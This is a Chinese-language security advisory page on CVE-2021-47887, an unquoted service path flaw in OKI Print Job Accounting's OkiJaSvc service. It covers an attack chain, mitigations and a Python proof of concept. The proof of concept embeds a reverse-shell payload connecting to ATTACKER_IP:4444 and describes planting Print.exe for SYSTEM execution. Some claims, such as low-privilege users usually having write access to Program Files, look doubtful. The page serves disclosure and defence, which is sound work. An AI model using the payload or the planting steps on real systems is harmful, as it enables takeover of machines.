IPBUF安全漏洞报告
English
CVE-2021-47887 CVSS 7.8 高危

CVE-2021-47887 | OKI Print Job Accounting OkiJaSvc服务未引用路径权限提升漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2021-47887
漏洞类型
未引用服务路径
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OKI Print Job Accounting 4.4.10

相关标签

未引用服务路径权限提升本地攻击Windows服务OKIPrint Job AccountingOkiJaSvcCVE-2021-47887高危漏洞

漏洞概述

CVE-2021-47887是OKI Print Job Accounting 4.4.10版本中存在的一个高危本地权限提升漏洞。该漏洞存在于OkiJaSvc Windows服务中,由于其服务路径未正确使用引号包裹,导致存在路径劫持风险。攻击者利用服务路径搜索顺序,可将恶意可执行文件放置在目标路径的中间目录中,从而在服务重启或系统启动时以系统权限自动执行该恶意程序。成功利用此漏洞可实现从低权限用户到Windows SYSTEM高权限的横向移动,绕过现有的访问控制限制。此类漏洞通常被用于攻击链的后期阶段,用于获取目标系统的完全控制权。CVSS 3.1评分7.8,属于高危漏洞,需要本地低权限访问即可实施攻击,无需用户交互即可完成权限提升。

技术细节

该漏洞的根本原因在于Windows服务配置中的路径解析问题。当Windows服务启动时,系统会根据服务配置的可执行文件路径来加载程序。如果路径中包含空格且未被引号正确包裹,Windows会按照从左到右的顺序依次查找路径中的每个空格分隔部分,直到找到实际的可执行文件。OKI Print Job Accounting的OkiJaSvc服务配置路径为'C:\Program Files\Okidata\Print Job Accounting\',由于路径中包含空格且未使用引号,Windows会首先尝试执行'C:\Program.exe',如果不存在则继续尝试'C:\Program Files\Okidata\Print.exe',依此类推。攻击者只需在'C:\Program Files\Okidata\Print Job Accounting\'目录之前创建一个恶意的Print.exe或其他可执行文件,即可实现代码执行。攻击者需要具有在目标目录写入文件的权限,通常通过低权限账户即可实现。服务重启时会触发恶意代码以SYSTEM权限执行。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标系统上是否存在OKI Print Job Accounting软件及其OkiJaSvc服务,检查服务配置和可执行文件路径
STEP 2
步骤2
权限探测:确认当前用户具有在目标目录写入文件的权限,通常低权限用户账户即可满足要求
STEP 3
步骤3
恶意文件植入:攻击者在'C:\Program Files\Okidata\'目录下创建恶意的Print.exe可执行文件,利用路径解析顺序进行劫持
STEP 4
步骤4
服务触发:等待OkiJaSvc服务重启(系统重启、服务更新、管理员手动重启等),或主动触发服务重启
STEP 5
步骤5
权限提升:Windows服务启动时按照未引用的路径搜索Print.exe,攻击者的恶意程序以SYSTEM高权限被执行
STEP 6
步骤6
后门维持:攻击者可在恶意程序中植入后门、持久化机制或进一步横向移动,实现对系统的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2021-47887 PoC - OKI Print Job Accounting Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in OkiJaSvc service. Author: Security Researcher Reference: https://www.vulncheck.com/advisories/print-job-accounting-okijasvc-unquoted-service-path """ import os import sys import subprocess import shutil def check_service_path(): """Check if OkiJaSvc service exists and get its unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'OkiJaSvc'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] OkiJaSvc service found") for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: print(f"[+] Current path: {line.strip()}") return True except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a malicious executable to be placed in the unquoted path""" # Malicious executable path (Print.exe in the intermediate directory) malicious_path = r'C:\Program Files\Okidata\Print.exe' # Create a simple reverse shell or payload # This is a placeholder - actual malicious code would go here payload = ''' import socket import subprocess import os # Simple reverse shell payload try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("ATTACKER_IP", 4444)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) subprocess.call(["cmd.exe"]) except: pass ''' print(f"[*] Malicious executable would be placed at: {malicious_path}") print("[*] When OkiJaSvc restarts, it will execute this file with SYSTEM privileges") return malicious_path def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2021-47887 - OKI Print Job Accounting Unquoted Service Path") print("=" * 60) if not check_service_path(): print("[-] OkiJaSvc service not found or not accessible") return False print("\n[*] Vulnerability: Service path contains spaces without quotes") print("[*] Vulnerable path: C:\\Program Files\\Okidata\\Print Job Accounting\\") print("[*] Windows will search for: C:\\Program.exe, C:\\Program Files\\Okidata\\Print.exe") create_malicious_executable() print("\n[*] Attack steps:") print(" 1. Create malicious executable at C:\\Program Files\\Okidata\\Print.exe") print(" 2. Wait for service restart or trigger manually: sc stop OkiJaSvc && sc start OkiJaSvc") print(" 3. Malicious code executes with SYSTEM privileges") return True if __name__ == '__main__': if os.name != 'nt': print("[-] This exploit only works on Windows systems") sys.exit(1) exploit()

影响范围

OKI Print Job Accounting 4.4.10及之前版本

防御指南

临时缓解措施
在官方补丁发布之前,可通过以下临时措施缓解风险:1)使用icacls命令限制目录权限,移除Users组的写入权限;2)手动在路径中间目录创建合法的空文件或目录以阻断路径搜索;3)禁用OkiJaSvc服务(如业务不需要);4)部署端点检测与响应(EDR)解决方案监控异常进程启动;5)限制普通用户权限,遵循最小权限原则。建议尽快联系OKI官方获取安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表